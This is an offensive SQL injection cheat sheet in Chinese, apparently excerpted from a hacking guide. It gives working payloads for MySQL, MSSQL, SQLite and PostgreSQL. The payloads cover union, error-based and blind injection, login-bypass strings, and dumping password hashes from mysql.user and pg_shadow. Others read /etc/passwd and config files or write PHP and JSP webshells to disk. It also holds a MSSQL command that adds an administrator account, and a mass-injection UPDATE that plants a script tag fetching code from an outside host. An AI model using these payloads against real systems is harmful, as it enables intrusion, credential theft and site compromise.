摘自:《SQL_Injection_Base_by_Silic》

php网站:/**/、/*asdfa*/可替换空格

猜表段:

id=0/*abc*/union/*aa*/select/*asdf*/1,2,3,4,5/*
id=-11/**/union/*aa*/select/*asdf*/1,2,3,4,5/*
id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*

表段名:假设表段名为admin,         

 id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*q*/from/*qwe*/admin/*

如果能显错,即可得到真的表段名


Mysql 5.x 都有的独立数据库 mysql 其中 user 表段存有用户部分信息 其中 user、password、host(如果是localhost,表示只能本机登陆,可另外找是否有phpmyadmin)、file_priv(规定用户是否可以读硬盘里面的文件)

mysql 5.x及以上可以爆表爆字段;4.x爆出来解不了(5.x有information_schema,而4.x没有)

注入语句格式:

union+select+1,2,3,xo,5+from+xxoo

(参数使用位置xo,如concat(user,0x3a,version)、concat(username,0x5c,password)、concat(user,0x5f,version)、concat(user,0x3c62723e,version)、concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))。。。。。。)

常用参数:

user():格式为root1@localhost、root2@mysss(mysss为服务器名)、root3@192.111.1.1

database():当前数据库名

version():当前使用数据库版本

@@datadir:数据路径

concat():联合数据

group_concat():通常格式有group_concat(DISTINCT+user,0x3a,password),concat只能一次一条,group_concat可以一次多条

concat_ws():concat的特殊形式,使用方法concat_ws(separator,str1,str2,...)

hex()和unhex():如union+select+hex(password)+from+mysql.user、hex(user())、hex(database())

load_file():使用前提你的用户名对应的file_priv设为Y,以文本方式读取文件,如:linux系统load_file('/etc/passwd')   windows系统load_file('c:\\boot.ini')、union+select+1,load_file(0x633a5c5c626f6f742e696e69)其中0x633a5c5c626f6f742e696e69为c:\\boot.ini的hex编码以躲避php网站gpf设为on的情况


select xxoo into outfile '路径'

使用前提gpf设置为off,file_priv设为Y,已知网站路径,有写权限。用法:+union+select+webshell的hex编码+into+outfile+'网站物理路径\\a.php'


假如网站原始查询语句后有order by、desc等要用/* 或--结束后面的语句,如

id=12+union+select+1,2,3,4+from+admin--
id=12+union+select+1,2,3,4+from+admin/*


万能密码admin'or'1'='1、admin'or 1=1#用户名admin'/*kkk密码kkk*/'


php+mysql注入查表语句与查字段语句

格式:

+union select 1,2,3,table_name from (select * from information_schema.tables where
 table_schema=数据库名的hex order by table_schema limit 0,1)t limit 1

当前数据库名直接database(),即数据库名的hex用hex(database())替换就可以了,其他数据库名字从MySql.db查database()

limit 0,1可换为1,2、2,3、3,4 .....

如:

id=5+and+1=2+union+select+1,2,3,table_name,5,6+from+(select+*+from+information_schema.tables
+where+table_schema=0x74657374+order+by+table_schema+limit+13,1)+limit+1--

其中0x74657374为数据库test的hex

(知道表名之后,用+union select 1,2,xo,4 from xxoo的格式可爆字段再爆值)


查字段格式

+union select 1,2,3,column_name from (select * from information_schema.columns where
 table_name=爆出来的表名的hex and table_schema=数据库名的hex order by 1 limit 2,1)t limit 1--


已测试,下面两种都可以一次列出所有数据库的名称

select GROUP_CONCAT(DISTINCT table_schema) from information_schema.columns
select GROUP_CONCAT(DISTINCT table_schema) from information_schema.tables


一次列出某个数据库里所有表段的名称

id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name)+from
+information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E

其中0x64625F6368696E615F717562616E5F636E是这个数据库的名称的hex,如果是当前库,直接hex(database())


一次列出某个表段里所有字段的名称

id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name)+from
+information_schema.columns+where+table_name=0x61646D696E

其中0x61646D696E表名的hex


如果知道了绝对路径,又有load_file的权限,就可使用load_file

id=9+and+1=2+union+select+1,2,hex(load_file(0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870)),4,5

其中0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870是C:\wamp\www\butcher\config.php的hex,得到一串字符串之后用winhex转换格式就可知道配置文件中的用户名、密码、数据库名等


爆数据库密码两种途径:1、从数据库爆;2、从文件爆

(1)

id=9+1=2+union+select+1,concat(user,0x5f,password),3,4,5+from+mysql.user

(2)

load_file


用工具连接数据库执行sql语句获得webshell:

create table test(a text);

select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php';

mysql输出文件时,会把回车换成\n,所以一般写入小马,就算写大马,也要在每行结尾加上/*,每行开头加上*/注释掉\n。


注入中的大爱Tomcat+jsp+Mysql

(Tomcat需要system或root权限,jsp+Mysql通常是root权限)

id=0'union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,group_concat(user,
0x3a,password,0x3a,file_priv,0x3a,host,0x3c62723e)+from+mysql.user%23

如果显错中host为%表示可以外链Mysql数据库

连接后确认为root权限,可执行sql语句,来获取webshell:

select jsp一句话的hex into outfile '/路径/webshell.jsp';

读取/etc/passwd文件,获得敏感路径/var/www和/home/criterion后加/public_html和/htdocs都不是网站路径,之后,读Tomcat的敏感文件,从select load_file('/etc/profile');获得Tomcat的路径,然后在路径下的/conf/server.xml获得网站路径。


hex() 可解决注入编码不同而无法显示的问题(特别是遇到国外网站)

如:

id=1+and+1=2+union+select+1,2,3,4,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),6/*

然后对显示的字符串unhex()


或者是用 convert()

id=-1+UNION+SELECT+1,2,3,4,5,CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)
+USING+latin1)+from+mysql.user/*


一个不常见的情况(问题发生原因:存在sql注入的页面中的sql语句,它所在的表段中,有一个字段是非数字型。一旦用union select 数字,数字,数字...来替换order by就会跳转):

www.d.com/n.php?hand=det&id=12'order+by+13%23               正常


注入点确认为字符型,字段数为13

www.d.com/n.php?hand=det&id=0'union+select+1,2,3,4,5,6,7,8,9,0,11,12,13%23
3号位置有异常,页面跳转至3
www.d.com/3

解决方法:用null替换3号位的数字

www.d.com/n.php?hand=det&id=0'union+select+1,2,null,4,5,6,7,8,concat(database(),0x3a,user(),
0x3a,version(),0x3a,@@datadir),0,11,12,13%23


遇到网站使用后置写法,

如:

访问

n.php?id=123'

显错为:

SELECT main.* FROM "numbers" main WHERE 123'=main.id Number 123' not found in the database


倒着注入如:

n.php?id=1+and+123


上面说过mysql 5.x一次爆出表段的格式,现在是土耳其***的格式:

select+GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+
table_schema=database()


MySQL的几个参数

@@version_comment              判断是源代码还是已编译文件

@@datadir                                数据地址

@@tmpdir                                临时文件地址

@@version                               mysql的版本

user()

database()

@@version_compile_os            判断系统类型

@@version_compile_machine  判断32位还是64位

@@warning_count          

@@system_time_zone               时区

@@query_cache_size                 内存实际消耗

如:

e.php?s=dir&n=-2+union+select+1,2,concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c,
@@version,0x5c,user(),database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine,
0x5c,@@warning_count,0x5c,@@system_time_zone,0x5c,@@query_cache_size),4,5,6


错误回显的两个类型:(1)MySQL错误回显,php提示MySQL语句哪里出错;(2)php错误回显,显示某个文件哪一行出错


在知道字段数,但无显示位回显的情况下,可考虑用MySQL错误回显注入法


公式的格式:

union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from 
information_schema.tables group by a)b

后面可添加/*、--、%23来注释掉后面部分

注入爆数据语句的基本格式:select xx from yy  注意:每次只能爆单条数据,不能update、不能select into 、不能insert、不能load_file()、不能group_concat()、有的concat()也不能

如果爆数据后面就要加limit a,b  其中limit a,b为从第a条开始(从0开始),b为一共几条(但这里只能是1),如:limit 0,1、limit 1,1、limit 2,1、limit 3,1   ......


如:

d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,
database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+
group+by+a)b


爆所有数据库:

d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+
from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+
information_schema.tables+group+by+a)b


d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+
from+information_schema.columns+where+table_schema=database()+limit+0,1))a+from+
information_schema.tables+group+by+a)b

将0,1换为1,1、2,1、3,1、4,1  ....

类似爆表段

d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+
from+information_schema.columns+where+table_schema=0x356570655f61646d696e+limit+0,1))a+from+
information_schema.tables+group+by+a)b

将0,1换为1,1、2,1、3,1、4,1  ....

0x356570655f61646d696e为数据库名的hex

类似爆字段的格式:

d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+
from+information_schema.columns+where+table_name=0x356570aassfffffssee+limit+0,1))a+from+
information_schema.tables+group+by+a)b

将0,1换为1,1、2,1、3,1、4,1  ....

0x356570aassfffffssee为表段名的hex


爆数据:

d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,
adminname,0x3a,adminpass)+from+5epe+limit+0,1))a+from+information_schema.tables+group+by+a)b

5epe为表名


后台登陆框post错误回显注入

用弱口令试登后台,有数据库显错,

在用户名处写:

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from
 mysql.user limit 0,1))a from information_schema.tables group by a)b#

又遇到javascript限制长度,自己写个html提交

显错中有 Duplicate entry '1bizpoten@203.153.13.123' for key

其中user()就是bizpoten@203.153.13.123(去掉固定的1)

类似之前的爆数据库中的表段:

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from
 information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables
 group by a)b#


MySQL盲注

c.php?s=admin

回显:用户已注册

c.php?s=admin'

回显:select userid from demob where user='admin''You have an error,表示没过滤直接带入MySQL执行

看版本:

c.php?s=admin'and+left(version(),1)=5%23

回显:用户已注册   即知道版本为5成立

c.php?s=admin'and+length(database())=6%23

c.php?s=admin'and+left(database(),1)='l'%23
c.php?s=admin'and+left(database(),2)='li'%23

直到6,就可知道数据库名


c.php?s=admin'and+length(pass)=32%23
c.php?s=admin'and+substr(left(pass),0,1)=char(89)%23

这里假设pass字段与userid字段同在demob表里面,所以不用再带select语句

MySQL数据库中将执行select userid from demob where user='admin'and length(pass)=32#


其他表:

c.php?s=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<20%23


base64变形注入,要遇到给输入进行base64加密的网站,类似也应该会有其他加密方式,给输入进行相应加密注入即可。

如:

s.php?id=MTM=

还原加上'测试:

s.php?id=MTMn


php+mssql

爆字段:

table=p&id=12+and+1=1+union+all+select+null,null,null,null             加了4个null,回到正常页面了

找显示位:把1=1换成1=2,挨个将null换成数字,出错换回null

table=p&id=12+and+1=2+union+all+select+1,2,null,3

2为显示位

这里开始就与php+MySQL不同了,爆当前库名:

table=p&id=12+and+1=2+union+all+select+1,@@version,null,3
table=p&id=12+and+1=2+union+all+select+1,db_name(),null,3

通过数据库id获得数据库名:

table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+
dbid=1--
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+
dbid=2--

然后3,4,5 。。。

爆表名:

table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+
xtype=CHAR(85) and name not in (select top 1 name from Northwi.dbo.sysobjects where xtype
=CHAR(85))--

Northwi.dbo.sysobjects 为 数据库名.dbo.sysobjects,如果不是当前数据库,那就成了跨库查询,可能设置了主机权限不让跨库查询;

top 1 为表的序号,可换为2,3,4,5。。。


爆字段:(这里的top 15 为前面top出的表 )

table=p&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwi.dbo.sysobjects+where+
xtype=CHAR(85) and name not in (select top 15 name from Northwi.dbo.sysobjects where xtype
=CHAR(85))--

获得总序号2073058421

table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+
ID=2073058421 and name not in (select top 1 name from Northwi.dbo.sysobjects where ID=2073058421)--

top 1 为字段的序号,可换为2,3,4,5。。。


最后内容:

table=p&id=12+and+1=2+union+all+select+1,title,null,3+from+Northwi..landed--

Northwi..landed 为 数据库名..表明,title为字段名


LizaMoon注入,批量挂马脚本(对象Mssql+aspx):

首先查询获得表段名,然后

s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),
cast(</tilte><script src="http://b.com/u.php"></script> as varchar(8000)),cast(char(32)
 as varchar(8)))--

s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),
cast("</tilte><script src="http://b.com/u.php"></script>" as varchar(8000)),cast(char(32)
 as varchar(8)))--

s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),
cast(CHAR(60)+CHAR(47)+CHAR(116)+CHAR(105)+CHAR(108)+CHAR(116)+CHAR(101)+CHAR(62)+CHAR(60)+
CHAR(115)+CHAR(99)+CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(32)+CHAR(115)+CHAR(114)+
CHAR(99)+CHAR(61)+CHAR(34)+CHAR(104)+CHAR(116)+CHAR(116)+ CHAR(112)+CHAR(58)+CHAR(47)+
CHAR(47)+CHAR(98)+CHAR(46)+CHAR(99)+CHAR(111)+CHAR(109)+CHAR(47)+CHAR(117)+CHAR(46)+
CHAR(112)+CHAR(104)+CHAR(112)+CHAR(34)+CHAR(62)+CHAR(60)+CHAR(47)+CHAR(115)+CHAR(99)+
CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(62)) as varchar(8000)),cast(char(32)
 as varchar(8)))--


MSSQL提权

执行sql命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,
'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'

需要支持wscript,d:\\cmd.exe为上传的cmd地址,/c后执行cmd命令


sqlite+php

判断字段数:

pr.php?id=0'union+select+1,2,3,4,5,6            或
pr.php?id=0'union+select+1,2,3,4,5,6--

sqlite有个表sqlite_master,表中有字段:type,name,tbl_name,rootpage,sql,

pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master--

回显为create table sqlite_sequence(name,seq)

pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master+limit+2,1--

回显为create table [yelx]([id] INTERGER PRIMARY KEY NOT NULL,[title] TEXT NULL,[time] VARCHAR(30) NULL)

通过改limit 2,1 为 3,1    4,1   5,1 ...

获得其他数据库创建的历史sql语句



PostgreSQL注入语句

显示版本

version()

union select 1,2,3,4,5,version(),6

爆数据

union select 1,2,3,4,5,aa,6 from bb where cc=dd

列库

union select 1,2,3,4,5,datname from pg_database

列表段

union select 1,2,3,4,5,relname from pg_stat_tables limit 1 offset 3

其中limit 1 offset 0等同于limit 0,1

列字段

union select 1,2,3,4,5,column_name from information_schema.columns where table_name=0x3a7777hh 
limit 1 offset 5

读配置文件

union select 1,2,3,4,5,usename,passwd form pg_shadow

其中pg_shadow相当于MySQL中的mysql数据库,root用户为postgre

读文件

create table test(code text);
copy test from '/etc/passwd'with delimiter E'\t';

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'))

其中pg_file_read()相当于MySQL中的load_file()

在postgre 8.x到9.x说引号无效,应用单引号

写文件

insert into test value('<?php eval($_POST["cmd"]);?>');
copy test(code) to " /var/www/one.php";


找注入点

id=12 and 1=1         或         id=12 aNd(3=3)     
id=12 and 1=2                    id=12 aNd(3=4)

猜字段

id=12 order by 12--

数据库长度

id=12 and (select length(current_database())) between 7 and 30
id=12 and (select length(current_database())) between 9 and 9

数据库名

id=12 and (select ascii(substr(current_database(),1,1))) between 7 and 130
id=12 and (select ascii(substr(current_database(),1,1))) between 117 and 117

表的数量

id=12 and (select count(*) from pg_stat_user_tables) between 7 and 30

第一个表的长度

id=12 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 30

第二个表的长度

id=12 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 1) between 0 and 30

第一个表名

id=12 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between
 0 and 320
id=12 and (select ascii(substr(relname,2,1)) from pg_stat_user_tables limit 1 OFFSET 0) between
 0 and 320

爆字段

id=123+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+
table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)+limit+1+
OFFSET+0)+between+0+and+256

其中chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)为表名的chr()

字段名

id=12+and+(select+ascii(substr(ssee,1,1))+from+iioo+limit+1+OFFSET+0)+between+0+210

其中ssee为字段名,iioo为表名


判断是否是php+PostgreSQL的搭配

加个'

回显中有pg_query


字段数与字段间编码问题

id=2 order by 10         或
id=0+union+select+null,null,null,null,null,null,null,null,null

之后一个个试找回显为时可以选数字或字母,如

id=0+union+select+1,'a',null,2,3,null    在有魔术引号的情况下,'a'会被转义,用下面的
id=0+union+select+1,version,null,2,3,null


注释符

PostgreSQL注释符不是#,不是/*,不是%23,而是--或%2b%2b

--或%2b%2b在MySQL、MSSQL、SQLite、PostgreSQL都通用


PostgreSQL的管理员账号为postgres(类似于MySQL的root,MSSQL的sa);

根数据库为postgres(类似于MySQL的mysql,MSSQL的master)


phpMyAdmin写webshell

在mysql数据库的console里导入马

select code from text into outfile 'e://appserv//www//xoops//modules//wordpress//app.php';

遇到outfile成功,但无法load_file的,建表

create table test (a text);
insert into test (a) values (load_file('c:\\boot.ini'));
select * from test;